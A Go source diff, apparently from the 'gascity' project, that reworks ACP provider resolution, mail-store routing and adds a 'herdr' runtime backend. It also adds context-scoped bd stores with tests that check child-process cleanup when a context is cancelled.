+		}
+		resolved := resolveProviderForACPTransport(cfg, providerName)
+		if resolved != nil {
+			acpCommand := strings.TrimSpace(resolved.ACPCommandString())
+			defaultCommand := strings.TrimSpace(resolved.CommandString())
+			storedCommand := strings.TrimSpace(info.Command)
+			if acpCommand != "" && acpCommand != defaultCommand &&
+				(storedCommand == acpCommand || strings.HasPrefix(storedCommand, acpCommand+" ")) {
+				return true
+			}
+		}
+		if strings.TrimSpace(info.Command) == "" &&
+			info.PendingCreateClaim {
+			return providerLegacyDefaultsToACP(cfg, providerName)
+		}
+	}
+	return false
+}
+
 func configuredACPRouteNames(snapshot *sessionBeadSnapshot, cityName string, cfg *config.City) []string {
 	names := observedACPSessionNames(snapshot, cfg)
 	seen := make(map[string]bool, len(names))
@@ -732,6 +805,16 @@ func newMailProvider(store beads.Store) mail.Provider {
 	return newMailProviderNamed(mailProviderName(), store, true)
 }
 
+// newMailProviderWithSessionStore builds the configured mail provider with
+// distinct message-persistence (messaging class) and session-addressing (session
+// class) stores. Byte-identical to newMailProvider(store) at the single-store bd
+// backend where msgStore == sessStore; once a class relocates, mail's message
+// beads and its session reads follow their respective backends instead of
+// splitting off one generic store.
+func newMailProviderWithSessionStore(msgStore, sessStore beads.Store) mail.Provider {
+	return newMailProviderNamedWithSessionStore(mailProviderName(), msgStore, sessStore, true)
+}
+
 func newCommandMailProvider(store beads.Store) mail.Provider {
 	return newMailProviderNamed(mailProviderName(), store, true)
 }
@@ -741,6 +824,10 @@ func newCommandMailProviderNamed(v string, store beads.Store) mail.Provider {
 }
 
 func newMailProviderNamed(v string, store beads.Store, cached bool) mail.Provider {
+	return newMailProviderNamedWithSessionStore(v, store, store, cached)
+}
+
+func newMailProviderNamedWithSessionStore(v string, msgStore, sessStore beads.Store, cached bool) mail.Provider {
 	if strings.HasPrefix(v, "exec:") {
 		return mailexec.NewProvider(strings.TrimPrefix(v, "exec:"))
 	}
@@ -751,14 +838,23 @@ func newMailProviderNamed(v string, store beads.Store, cached bool) mail.Provide
 		return mail.NewFailFake()
 	default:
 		if cached {
-			return beadmail.NewCached(store)
+			return beadmail.NewCachedWithStores(msgStore, sessStore)
 		}
-		return beadmail.New(store)
+		return beadmail.NewWithStores(msgStore, sessStore)
 	}
 }
 
 // openCityMailProvider opens the city's bead store and wraps it in a
 // mail.Provider. Returns (nil, exitCode) on failure.
+//
+// Relocation: the beadmail provider does messaging-class message persistence AND
+// session-class reads/writes for mail addressing/identity (session.ListAllSessionBeads
+// / ResolveSessionID / RepairEmptyType). Both are routed through their
+// coordination-class seams — messages via resolveMailMessagesStore, session reads
+// via cliSessionStore — so a [beads.classes.messaging] or [beads.classes.sessions]
+// relocation reaches CLI mail the same way it reaches the running controller
+// (newCityMailProvider, class_store.go). Byte-identical until a class backend is
+// configured (both resolvers are identity at the single-store bd backend).
 func openCityMailProvider(stderr io.Writer, cmdName string) (mail.Provider, int) {
 	// For exec: and test doubles, no store needed.
 	v := mailProviderName()
@@ -766,11 +862,17 @@ func openCityMailProvider(stderr io.Writer, cmdName string) (mail.Provider, int)
 		return newCommandMailProvider(nil), 0
 	}
 
-	store, code := openCityStore(stderr, cmdName)
+	store, cityPath, code := openCityStoreWithPath(stderr, cmdName)
 	if store == nil {
 		return nil, code
 	}
-	return newCommandMailProvider(store), 0
+	// The no-refresh cfg loader matches the other hot CLI roots (cmd_prime,
+	// completion): loadCityConfig's builtin-pack refresh is inappropriate here. A
+	// failed load yields nil cfg, which the class resolvers treat as identity.
+	cfg, _ := loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	msgStore := resolveMailMessagesStore(store, cfg, cityPath, nil)
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	return newMailProviderWithSessionStore(msgStore, sessStore), 0
 }
 
 // eventsProviderName returns the events provider name.
diff --git a/cmd/gc/providers_test.go b/cmd/gc/providers_test.go
index 110baa1b79..a2cba6eb01 100644
--- a/cmd/gc/providers_test.go
+++ b/cmd/gc/providers_test.go
@@ -451,6 +451,175 @@ func TestConfiguredACPRouteNames_IncludeLegacyObservedCustomACPProviderSessionsW
 	}
 }
 
+// TestResolveProviderForACPTransport_PrefersResolvedProviderCache proves the
+// cache-first path (ga-soqo5g): the raw ProviderSpec here has no ACP fields
+// at all, so a fresh chain-walk would never produce an ACP-capable result.
+// The populated ResolvedProviders cache entry deliberately diverges from the
+// raw spec — if the function returns ACP, it read the cache, not the spec.
+func TestResolveProviderForACPTransport_PrefersResolvedProviderCache(t *testing.T) {
+	cfg := &config.City{
+		Providers: map[string]config.ProviderSpec{
+			"custom": {Command: "custom-cli"},
+		},
+		ResolvedProviders: map[string]config.ResolvedProvider{
+			"custom": {
+				Name:        "custom",
+				SupportsACP: true,
+				ACPCommand:  "/bin/echo",
+				ACPArgs:     []string{"acp"},
+			},
+		},
+	}
+	got := resolveProviderForACPTransport(cfg, "custom")
+	if got == nil || got.ProviderSessionCreateTransport() != "acp" {
+		t.Fatalf("resolveProviderForACPTransport = %+v, want cached ACP-capable provider", got)
+	}
+}
+
+// TestResolveProviderForACPTransport_FallsBackWhenNoCache keeps Phase A
+// configs working: when ResolvedProviders is unpopulated, the raw
+// config.ResolveProvider chain-walk still runs and produces the same answer
+// it always has.
+func TestResolveProviderForACPTransport_FallsBackWhenNoCache(t *testing.T) {
+	cfg := &config.City{
+		Workspace: config.Workspace{Name: "test-city"},
+		Providers: map[string]config.ProviderSpec{
+			"opencode": {
+				Command:     "/bin/echo",
+				SupportsACP: boolPtr(true),
+				ACPCommand:  "/bin/echo",
+				ACPArgs:     []string{"acp"},
+			},
+		},
+	}
+	got := resolveProviderForACPTransport(cfg, "opencode")
+	if got == nil || got.ProviderSessionCreateTransport() != "acp" {
+		t.Fatalf("resolveProviderForACPTransport = %+v, want raw-resolved ACP-capable provider", got)
+	}
+}
+
+// TestAgentSessionCreateTransport_PrefersResolvedProviderCache mirrors
+// TestResolveProviderForACPTransport_PrefersResolvedProviderCache for the
+// agent-level entry point.
+func TestAgentSessionCreateTransport_PrefersResolvedProviderCache(t *testing.T) {
+	cfg := &config.City{
+		Providers: map[string]config.ProviderSpec{
+			"custom": {Command: "custom-cli"},
+		},
+		ResolvedProviders: map[string]config.ResolvedProvider{
+			"custom": {
+				Name:        "custom",
+				SupportsACP: true,
+				ACPCommand:  "/bin/echo",
+				ACPArgs:     []string{"acp"},
+			},
+		},
+	}
+	got := agentSessionCreateTransport(cfg, config.Agent{Provider: "custom"})
+	if got != "acp" {
+		t.Fatalf("agentSessionCreateTransport = %q, want acp (from cache)", got)
+	}
+}
+
+// TestAgentSessionCreateTransport_UsesWorkspaceProviderWhenAgentHasNoOverride
+// proves the cache lookup falls back to the workspace-level provider name
+// (matching ResolveProvider's own name-resolution order) when the agent
+// itself has no per-agent Provider override.
+func TestAgentSessionCreateTransport_UsesWorkspaceProviderWhenAgentHasNoOverride(t *testing.T) {
+	cfg := &config.City{
+		Workspace: config.Workspace{Provider: "custom"},
+		Providers: map[string]config.ProviderSpec{
+			"custom": {Command: "custom-cli"},
+		},
+		ResolvedProviders: map[string]config.ResolvedProvider{
+			"custom": {
+				Name:        "custom",
+				SupportsACP: true,
+				ACPCommand:  "/bin/echo",
+				ACPArgs:     []string{"acp"},
+			},
+		},
+	}
+	got := agentSessionCreateTransport(cfg, config.Agent{})
+	if got != "acp" {
+		t.Fatalf("agentSessionCreateTransport = %q, want acp (from cache via workspace provider)", got)
+	}
+}
+
+// TestAgentSessionCreateTransport_FallsBackWhenNoCache is
+// TestResolveProviderForACPTransport_FallsBackWhenNoCache for the
+// agent-level entry point.
+func TestAgentSessionCreateTransport_FallsBackWhenNoCache(t *testing.T) {
+	cfg := &config.City{
+		Providers: map[string]config.ProviderSpec{
+			"opencode": {
+				Command:     "/bin/echo",
+				SupportsACP: boolPtr(true),
+				ACPCommand:  "/bin/echo",
+				ACPArgs:     []string{"acp"},
+			},
+		},
+	}
+	got := agentSessionCreateTransport(cfg, config.Agent{Provider: "opencode"})
+	if got != "acp" {
+		t.Fatalf("agentSessionCreateTransport = %q, want acp (raw fallback)", got)
+	}
+}
+
+// TestAgentSessionCreateTransport_SkipsCacheForStartCommandEscapeHatch proves
+// an agent using the StartCommand escape hatch (ResolveProvider's step 1,
+// which bypasses provider-catalog/cache resolution entirely and constructs a
+// synthetic ResolvedProvider with SupportsACP left at its zero value) is not
+// short-circuited into reading an unrelated cache entry for its Provider
+// name. Session is left empty so the decision routes through the resolved
+// provider rather than an explicit per-agent override.
+func TestAgentSessionCreateTransport_SkipsCacheForStartCommandEscapeHatch(t *testing.T) {
+	cfg := &config.City{
+		ResolvedProviders: map[string]config.ResolvedProvider{
+			"custom": {Name: "custom", SupportsACP: true, ACPCommand: "/bin/echo", ACPArgs: []string{"acp"}},
+		},
+	}
+	got := agentSessionCreateTransport(cfg, config.Agent{Provider: "custom", StartCommand: "/bin/my-agent"})
+	if got != "" {
+		t.Fatalf("agentSessionCreateTransport = %q, want \"\" (StartCommand escape hatch must bypass provider/cache resolution)", got)
+	}
+}
+
+// TestAgentSessionCreateTransport_CachedMatchesRawForOverrideAgent is the
+// bead's equivalence check: the cached path and the raw config.ResolveProvider
+// path must agree for an agent with its own Provider override, given a cache
+// entry that mirrors what BuildResolvedProviderCache would actually produce
+// for the same spec.
+func TestAgentSessionCreateTransport_CachedMatchesRawForOverrideAgent(t *testing.T) {
+	providers := map[string]config.ProviderSpec{
+		"opencode": {
+			Command:     "/bin/echo",
+			SupportsACP: boolPtr(true),
+			ACPCommand:  "/bin/echo",
+			ACPArgs:     []string{"acp"},
+		},
+	}
+	agentCfg := config.Agent{Provider: "opencode", Name: "myagent"}
+
+	rawCfg := &config.City{Providers: providers}
+	rawGot := agentSessionCreateTransport(rawCfg, agentCfg)
+
+	cachedCfg := &config.City{
+		Providers: providers,
+		ResolvedProviders: map[string]config.ResolvedProvider{
+			"opencode": {Name: "opencode", SupportsACP: true, ACPCommand: "/bin/echo", ACPArgs: []string{"acp"}},
+		},
+	}
+	cachedGot := agentSessionCreateTransport(cachedCfg, agentCfg)
+
+	if rawGot != cachedGot {
+		t.Fatalf("cached path = %q, raw path = %q; want equal", cachedGot, rawGot)
+	}
+	if cachedGot != "acp" {
+		t.Fatalf("agentSessionCreateTransport = %q, want acp", cachedGot)
+	}
+}
+
 func TestNewSessionProvider_PreregistersACPBeadAndLegacyNames(t *testing.T) {
 	t.Setenv("GC_BEADS", "file")
 	t.Setenv("GC_SESSION", "fake")
diff --git a/cmd/gc/route_log.go b/cmd/gc/route_log.go
index c7f90e51dc..18c9531d8c 100644
--- a/cmd/gc/route_log.go
+++ b/cmd/gc/route_log.go
@@ -30,6 +30,14 @@ func classifyGCNoAPI(val string) (disabled bool, warn string) {
 // Routing logs are opt-in via GC_DEBUG so the default CLI experience stays quiet;
 // per-file test suites and operators debugging fallback behavior enable it.
 func routeLogEnabled() bool {
+	return gcDebugEnabled()
+}
+
+// gcDebugEnabled reports whether GC_DEBUG is set to a truthy value (1/true/yes,
+// case-insensitive, surrounding whitespace stripped). It gates opt-in operator
+// diagnostics — route audit lines and managed-dolt cleanup skips — so the
+// default CLI experience stays quiet.
+func gcDebugEnabled() bool {
 	switch strings.ToLower(strings.TrimSpace(os.Getenv("GC_DEBUG"))) {
 	case "1", "true", "yes":
 		return true
diff --git a/cmd/gc/runtime_registry.go b/cmd/gc/runtime_registry.go
index 8bab9d3f49..26ba22fe62 100644
--- a/cmd/gc/runtime_registry.go
+++ b/cmd/gc/runtime_registry.go
@@ -9,6 +9,7 @@ import (
 	"github.com/gastownhall/gascity/internal/runtime"
 	sessionacp "github.com/gastownhall/gascity/internal/runtime/acp"
 	sessionexec "github.com/gastownhall/gascity/internal/runtime/exec"
+	sessionherdr "github.com/gastownhall/gascity/internal/runtime/herdr"
 	sessionk8s "github.com/gastownhall/gascity/internal/runtime/k8s"
 	"github.com/gastownhall/gascity/internal/runtime/registry"
 	sessionssh "github.com/gastownhall/gascity/internal/runtime/ssh"
@@ -76,6 +77,17 @@ func buildRuntimeRegistry() *registry.Registry {
 	must(r.Register("k8s", func(_ string, _ config.SessionConfig, _, _ string) (runtime.Provider, error) {
 		return sessionk8s.NewSeamBacked()
 	}))
+	// herdr (https://herdr.dev): opt-in multiplexer backend. One shared herdr
+	// session-server per city; one workspace per rig/town, one tab per agent.
+	// tmux stays the default; select "herdr" per-agent/city to pilot it. See
+	// internal/runtime/herdr-provider-design.md.
+	must(r.Register("herdr", func(_ string, _ config.SessionConfig, cityName, cityPath string) (runtime.Provider, error) {
+		session := cityName
+		if session == "" {
+			session = "default"
+		}
+		return sessionherdr.New(session, providerStateDir("herdr", cityPath), cityPath), nil
+	}))
 	must(r.Register("hybrid", func(_ string, sc config.SessionConfig, cityName, cityPath string) (runtime.Provider, error) {
 		return newHybridProvider(sc, cityName, cityPath)
 	}))
diff --git a/cmd/gc/scoped_store.go b/cmd/gc/scoped_store.go
new file mode 100644
index 0000000000..b032ec1e56
--- /dev/null
+++ b/cmd/gc/scoped_store.go
@@ -0,0 +1,87 @@
+package main
+
+import (
+	"context"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+// scopedBdStoreForCity returns a throwaway BdStore for cityPath whose bd
+// subprocess is bound to ctx: on cancellation the child is killed instead
+// of surviving past the caller's own budget, unlike the long-lived shared
+// store, whose runner is fixed to context.Background() at construction.
+// Reuses the same credential/env resolution as bdStoreForCity, minus
+// managed-dolt recovery (bdRuntimeEnvWithErrorNoRecovery, not
+// bdRuntimeEnvWithError): a short best-effort read should fail fast
+// rather than pay a multi-second recovery/health-check/autostart sequence
+// — and every concurrent scoped-store construction attempting that
+// recovery would multiply exactly the load a read-storm mitigation exists
+// to bound. Skips the managed-retry wrapper for the same reason (gascity
+// ga-cdmx6x).
+func scopedBdStoreForCity(ctx context.Context, cityPath string) (*beads.BdStore, error) {
+	env, err := bdRuntimeEnvWithErrorNoRecovery(cityPath)
+	if err != nil {
+		return nil, err
+	}
+	return beads.NewBdStore(cityPath, beads.ExecCommandRunnerWithEnvContext(ctx, env)), nil
+}
+
+// scopedBdStoreForRig is scopedBdStoreForCity for a rig-scoped store.
+func scopedBdStoreForRig(ctx context.Context, cityPath string, cfg *config.City, rigDir string) (*beads.BdStore, error) {
+	env, err := bdRuntimeEnvForRigWithErrorNoRecovery(cityPath, cfg, rigDir)
+	if err != nil {
+		return nil, err
+	}
+	return beads.NewBdStore(rigDir, beads.ExecCommandRunnerWithEnvContext(ctx, env)), nil
+}
+
+// bdStoreBacking unwraps store through any CachingStore/beadPolicyStore
+// layers to find the underlying *beads.BdStore. It returns ok=false for
+// stores that aren't bd-CLI-backed (native, file, exec, mem, ...) — those
+// have no subprocess to leak, so ga-cdmx6x's mitigation doesn't apply to
+// them. Bounded to a handful of iterations: real store stacks are at most
+// two layers deep (CachingStore wrapping a beadPolicyStore wrapping the
+// raw store); the bound just guards against an unexpected wrap cycle.
+func bdStoreBacking(store beads.Store) (*beads.BdStore, bool) {
+	for range 8 {
+		switch v := store.(type) {
+		case *beads.BdStore:
+			return v, v != nil
+		case *beads.CachingStore:
+			if v == nil {
+				return nil, false
+			}
+			backing := v.Backing()
+			if backing == nil {
+				return nil, false
+			}
+			store = backing
+			continue
+		}
+		if inner, _, ok := unwrapBeadPolicyStore(store); ok {
+			store = inner
+			continue
+		}
+		return nil, false
+	}
+	return nil, false
+}
+
+// scopedStoreLike returns a throwaway, ctx-bound clone of existing when
+// existing is (or wraps, via CachingStore/beadPolicyStore) a bd-CLI-shell
+// backed store: cancellation kills the backend bd subprocess instead of
+// abandoning it past ctx's deadline. Returns (nil, nil) when existing is
+// not bd-CLI backed — callers should keep reading through existing
+// directly in that case (gascity ga-cdmx6x).
+func scopedStoreLike(ctx context.Context, cityPath string, cfg *config.City, existing beads.Store) (beads.Store, error) {
+	bs, ok := bdStoreBacking(existing)
+	if !ok {
+		return nil, nil
+	}
+	dir := bs.Dir()
+	if samePath(dir, cityPath) {
+		return scopedBdStoreForCity(ctx, cityPath)
+	}
+	return scopedBdStoreForRig(ctx, cityPath, cfg, dir)
+}
diff --git a/cmd/gc/scoped_store_test.go b/cmd/gc/scoped_store_test.go
new file mode 100644
index 0000000000..cef41a52a4
--- /dev/null
+++ b/cmd/gc/scoped_store_test.go
@@ -0,0 +1,230 @@
+package main
+
+import (
+	"context"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/processgroup/processgrouptest"
+)
+
+func noopBdRunner() beads.CommandRunner {
+	return func(string, string, ...string) ([]byte, error) {
+		return nil, nil
+	}
+}
+
+func TestBdStoreBackingFindsDirectBdStore(t *testing.T) {
+	store := beads.NewBdStore("/city", noopBdRunner())
+	got, ok := bdStoreBacking(store)
+	if !ok || got != store {
+		t.Fatalf("bdStoreBacking() = (%p, %v), want (%p, true)", got, ok, store)
+	}
+}
+
+func TestBdStoreBackingUnwrapsCachingStore(t *testing.T) {
+	inner := beads.NewBdStore("/city", noopBdRunner())
+	cached := beads.NewCachingStoreForTest(inner, nil)
+	got, ok := bdStoreBacking(cached)
+	if !ok || got != inner {
+		t.Fatalf("bdStoreBacking() = (%p, %v), want (%p, true)", got, ok, inner)
+	}
+}
+
+// TestBdStoreBackingUnwrapsCachingAndPolicyLayers mirrors the real
+// production nesting order: openRigStore/openStoreResultAtForCity wrap the
+// raw store with wrapStoreWithBeadPolicies, then buildStores/newControllerState
+// wrap that again with CachingStore. bdStoreBacking must see through both
+// layers to reach the *beads.BdStore whose subprocess ga-cdmx6x is about.
+func TestBdStoreBackingUnwrapsCachingAndPolicyLayers(t *testing.T) {
+	inner := beads.NewBdStore("/city", noopBdRunner())
+	policyWrapped := wrapStoreWithBeadPolicies(inner, &config.City{})
+	cached := beads.NewCachingStoreForTest(policyWrapped, nil)
+	got, ok := bdStoreBacking(cached)
+	if !ok || got != inner {
+		t.Fatalf("bdStoreBacking() = (%p, %v), want (%p, true)", got, ok, inner)
+	}
+}
+
+func TestBdStoreBackingReturnsFalseForNonBdStore(t *testing.T) {
+	if got, ok := bdStoreBacking(beads.NewMemStore()); ok {
+		t.Fatalf("bdStoreBacking() = (%v, true), want ok=false for a MemStore", got)
+	}
+}
+
+func TestBdStoreBackingReturnsFalseForNil(t *testing.T) {
+	if _, ok := bdStoreBacking(nil); ok {
+		t.Fatal("bdStoreBacking(nil) ok = true, want false")
+	}
+}
+
+// TestScopedStoreLikeReturnsNilForNonBdBackedStore proves the mitigation
+// leaves non-bd-CLI backends (native, file, exec, mem) untouched — they
+// have no subprocess to leak, so callers should keep reading through the
+// existing store rather than pay for (or risk breaking) a reconstruction.
+func TestScopedStoreLikeReturnsNilForNonBdBackedStore(t *testing.T) {
+	scoped, err := scopedStoreLike(context.Background(), "/city", &config.City{}, beads.NewMemStore())
+	if err != nil {
+		t.Fatalf("scopedStoreLike: %v", err)
+	}
+	if scoped != nil {
+		t.Fatalf("scopedStoreLike() = %v, want nil for a non-bd-backed store", scoped)
+	}
+}
+
+// TestScopedStoreLikeSelectsCityScopeWhenDirMatchesCityPath proves the
+// city/rig branch selection: when the backing BdStore's dir equals
+// cityPath, the clone must be built via the city-level env resolution
+// (scopedBdStoreForCity), not the rig-level one.
+func TestScopedStoreLikeSelectsCityScopeWhenDirMatchesCityPath(t *testing.T) {
+	cityDir := t.TempDir()
+	writeMinimalCityToml(t, cityDir)
+	existing := beads.NewBdStore(cityDir, noopBdRunner())
+
+	scoped, err := scopedStoreLike(context.Background(), cityDir, &config.City{}, existing)
+	if err != nil {
+		t.Fatalf("scopedStoreLike: %v", err)
+	}
+	bs, ok := scoped.(*beads.BdStore)
+	if !ok {
+		t.Fatalf("scopedStoreLike() = %T, want *beads.BdStore", scoped)
+	}
+	if got := bs.Dir(); got != cityDir {
+		t.Fatalf("scoped store Dir() = %q, want city path %q", got, cityDir)
+	}
+}
+
+// TestScopedStoreLikeSelectsRigScopeWhenDirIsARig proves the rig branch:
+// when the backing BdStore's dir is a rig root (not the city root), the
+// clone is built via the rig-level env resolution (scopedBdStoreForRig),
+// pointed at the rig's own dir.
+func TestScopedStoreLikeSelectsRigScopeWhenDirIsARig(t *testing.T) {
+	cityDir := t.TempDir()
+	writeMinimalCityToml(t, cityDir)
+	rigDir := filepath.Join(cityDir, "rigs", "repo")
+	if err := os.MkdirAll(rigDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	cfg := &config.City{Rigs: []config.Rig{{Name: "repo", Path: "rigs/repo"}}}
+	existing := beads.NewBdStore(rigDir, noopBdRunner())
+
+	scoped, err := scopedStoreLike(context.Background(), cityDir, cfg, existing)
+	if err != nil {
+		t.Fatalf("scopedStoreLike: %v", err)
+	}
+	bs, ok := scoped.(*beads.BdStore)
+	if !ok {
+		t.Fatalf("scopedStoreLike() = %T, want *beads.BdStore", scoped)
+	}
+	if got := bs.Dir(); got != rigDir {
+		t.Fatalf("scoped store Dir() = %q, want rig dir %q", got, rigDir)
+	}
+}
+
+// TestScopedStoreLikeAvoidsManagedDoltRecovery is a regression test: an
+// earlier version of scopedBdStoreForCity/scopedBdStoreForRig called
+// bdRuntimeEnvWithError/bdRuntimeEnvForRigWithError (allowRecovery=true),
+// which — the first time a city's bd-CLI store is constructed and no
+// managed dolt server is yet running — spawns and waits on a real `dolt
+// sql-server` before returning env, taking 10+ seconds. That defeats "fast
+// bounded mitigation" and, worse, means every concurrent short-budget
+// status read would each attempt that recovery simultaneously during
+// exactly the kind of incident this bead exists to bound.
+// scopedBdStoreForCity/scopedBdStoreForRig must stay on the NoRecovery env
+// resolution so this path is fast-fail, not fast-fix, when no managed
+// server is reachable.
+func TestScopedStoreLikeAvoidsManagedDoltRecovery(t *testing.T) {
+	cityDir := t.TempDir()
+	writeMinimalCityToml(t, cityDir)
+
+	// bdStoreForCity mirrors how the real shared store gets constructed at
+	// controller/CLI startup; its first call materializes
+	// .gc/scripts/gc-beads-bd.sh, which is what made a later env
+	// resolution believe a managed dolt server ought to exist and attempt
+	// to start/recover one.
+	realStore := bdStoreForCity(cityDir, cityDir)
+
+	start := time.Now()
+	scoped, err := scopedStoreLike(context.Background(), cityDir, &config.City{}, realStore)
+	if elapsed := time.Since(start); elapsed > 2*time.Second {
+		t.Fatalf("scopedStoreLike took %s, want fast (no managed-dolt recovery attempt)", elapsed)
+	}
+	if err != nil {
+		t.Fatalf("scopedStoreLike: %v", err)
+	}
+	if _, ok := scoped.(*beads.BdStore); !ok {
+		t.Fatalf("scopedStoreLike() = %T, want *beads.BdStore", scoped)
+	}
+}
+
+// TestScopedBdStoreForCityKillsChildOnCtxCancel is the ga-cdmx6x regression
+// test: proves a bd child spawned through scopedBdStoreForCity is killed
+// when ctx is canceled, instead of surviving to bdCommandTimeout the way
+// the long-lived context.Background()-bound shared store's child would.
+// Mirrors TestKillCommandTreeKillsProcessGroup's pidfile pattern
+// (internal/beads/bdstore_exec_internal_test.go), applied through the real
+// scopedBdStoreForCity construction path instead of a bare exec.Command.
+func TestScopedBdStoreForCityKillsChildOnCtxCancel(t *testing.T) {
+	processgrouptest.RequireRealProcessSignals(t)
+	if _, err := exec.LookPath("sh"); err != nil {
+		t.Skip("sh unavailable")
+	}
+
+	cityDir := t.TempDir()
+	writeMinimalCityToml(t, cityDir)
+
+	binDir := t.TempDir()
+	pidFile := filepath.Join(binDir, "bd-child.pid")
+	writeExecutable(t, filepath.Join(binDir, "bd"), "#!/bin/sh\n"+
+		"sleep 30 &\n"+
+		"echo \"$!\" > "+pidFile+"\n"+
+		"wait\n")
+	t.Setenv("PATH", binDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+
+	ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
+	defer cancel()
+
+	store, err := scopedBdStoreForCity(ctx, cityDir)
+	if err != nil {
+		t.Fatalf("scopedBdStoreForCity: %v", err)
+	}
+
+	start := time.Now()
+	if _, listErr := store.List(beads.ListQuery{AllowScan: true}); listErr == nil {
+		t.Fatal("List unexpectedly succeeded against a sleeping bd stub")
+	}
+	if elapsed := time.Since(start); elapsed > 10*time.Second {
+		t.Fatalf("List blocked %s; the 200ms ctx deadline was not honored", elapsed)
+	}
+
+	childPid := waitForNonEmptyFileContent(t, pidFile, 5*time.Second)
+	for range 50 {
+		if err := exec.Command("kill", "-0", childPid).Run(); err != nil {
+			return // child is gone
+		}
+		time.Sleep(20 * time.Millisecond)
+	}
+	_ = exec.Command("kill", "-KILL", childPid).Run()
+	t.Fatalf("bd child process %s survived scopedBdStoreForCity's ctx cancellation", childPid)
+}
+
+func waitForNonEmptyFileContent(t *testing.T, path string, timeout time.Duration) string {
+	t.Helper()
+	deadline := time.Now().Add(timeout)
+	for {
+		data, err := os.ReadFile(path)
+		if err == nil && len(strings.TrimSpace(string(data))) > 0 {
+			return strings.TrimSpace(string(data))
+		}
+		if time.Now().After(deadline) {
+			t.Fatalf("timed out waiting for %s to be written", path)
+		}
+		time.Sleep(20 * time.Millisecond)
+	}
+}
diff --git a/cmd/gc/session_bead_cycle.go b/cmd/gc/session_bead_cycle.go
index 7def8537af..9007dce9cb 100644
--- a/cmd/gc/session_bead_cycle.go
+++ b/cmd/gc/session_bead_cycle.go
@@ -18,35 +18,44 @@ import (
 // when the assignee has been pointed at a different bead. The metadata
 // survives session restart, so crash recovery can resume the same bead
 // instead of jumping to a sibling assignment.
-func recordCurrentBeadIDOnWake(session *beads.Bead, sessFront *sessionpkg.InfoStore, beadID string, stderr io.Writer) {
+// recordCurrentBeadIDOnWake returns the metadata patch it applied (the
+// currently_processing_bead_id write) so the reconciler can fold it onto the
+// infoByID snapshot (write-returns-Info), or nil when it was a no-op. The raw
+// mirror onto session.Metadata is kept: the freshly-mutated bead pointer is
+// appended to startCandidates and read again by the start-execution path this
+// tick.
+func recordCurrentBeadIDOnWake(session *beads.Bead, sessFront *sessionpkg.Store, beadID string, stderr io.Writer) sessionpkg.MetadataPatch {
 	if session == nil || sessFront == nil {
-		return
+		return nil
 	}
 	beadID = strings.TrimSpace(beadID)
 	if beadID == "" {
-		return
+		return nil
 	}
 	if session.Metadata[sessionpkg.CurrentBeadIDKey] == beadID {
-		return
+		return nil
 	}
 	if err := sessFront.RecordCurrentBead(session.ID, beadID); err != nil {
 		if stderr != nil {
 			fmt.Fprintf(stderr, "session reconciler: recording %s for %s: %v\n", sessionpkg.CurrentBeadIDKey, session.Metadata["session_name"], err) //nolint:errcheck
 		}
-		return
+		return nil
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string, 1)
 	}
 	session.Metadata[sessionpkg.CurrentBeadIDKey] = beadID
+	return sessionpkg.MetadataPatch{sessionpkg.CurrentBeadIDKey: beadID}
 }
 
 // cycleAliveSessionForFreshReassign tears down a live wake_mode=fresh
 // session whose assigned bead has changed, then primes the bead so the
 // next reconciler tick wakes the session on a brand-new conversation.
-// Returns true when the cycle ran; the caller must `continue` so it does
-// not double-process the drain/idle bookkeeping for a session it just
-// killed.
+// Returns (true, fold) when the cycle ran; the caller must `continue` so it
+// does not double-process the drain/idle bookkeeping for a session it just
+// killed. The fold is the in-memory mirror it applied (RestartRequestPatch
+// minus ResetCommittedAtKey), for the reconciler to fold onto the infoByID
+// snapshot (write-returns-Info).
 //
 // The teardown path mirrors the agent-initiated restart handoff
 // (`gc runtime request-restart`): kill the process, reset the named-session
@@ -68,27 +77,27 @@ func cycleAliveSessionForFreshReassign(
 	now time.Time,
 	stdout, stderr io.Writer,
 	trace *sessionReconcilerTraceCycle,
-) bool {
+) (bool, sessionpkg.MetadataPatch) {
 	if session == nil || store == nil {
-		return false
+		return false, nil
 	}
 	newBeadID = strings.TrimSpace(newBeadID)
 	if newBeadID == "" {
-		return false
+		return false, nil
 	}
 	prevBeadID := strings.TrimSpace(session.Metadata[sessionpkg.CurrentBeadIDKey])
 	if err := workerKillSessionTargetWithConfig("", store, sp, cfg, name); err != nil {
 		if stderr != nil {
 			fmt.Fprintf(stderr, "session reconciler: stopping fresh-cycle %s: %v\n", name, err) //nolint:errcheck
 		}
-		return false
+		return false, nil
 	}
 	if identity := namedSessionIdentity(*session); identity != "" {
 		if err := resetSessionCircuitBreakerState(store, session.ID, identity, cb); err != nil {
 			if stderr != nil {
 				fmt.Fprintf(stderr, "session reconciler: clearing session circuit breaker for fresh-cycle %s: %v\n", name, err) //nolint:errcheck
 			}
-			return false
+			return false, nil
 		}
 	}
 	newSessionKey, hasCapability := freshRestartSessionKey(tp, session.Metadata)
@@ -101,11 +110,12 @@ func cycleAliveSessionForFreshReassign(
 		if stderr != nil {
 			fmt.Fprintf(stderr, "session reconciler: recording fresh-cycle handoff for %s: %v\n", name, err) //nolint:errcheck
 		}
-		return false
+		return false, nil
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string, len(batch))
 	}
+	fold := make(sessionpkg.MetadataPatch, len(batch))
 	for key, value := range batch {
 		// The durable reset commit marker is for the next reconciler
 		// pass; keeping it out of this tick's in-memory bead mirrors the
@@ -115,15 +125,16 @@ func cycleAliveSessionForFreshReassign(
 			continue
 		}
 		session.Metadata[key] = value
+		fold[key] = value
 	}
 	if stdout != nil {
 		fmt.Fprintf(stdout, "Cycled fresh-mode session '%s' for bead reassign: %s → %s\n", name, prevBeadID, newBeadID) //nolint:errcheck
 	}
 	if trace != nil {
-		trace.recordDecision("reconciler.session.bead_reassign_cycle", tp.TemplateName, name, "fresh_cycle", "restart", traceRecordPayload{
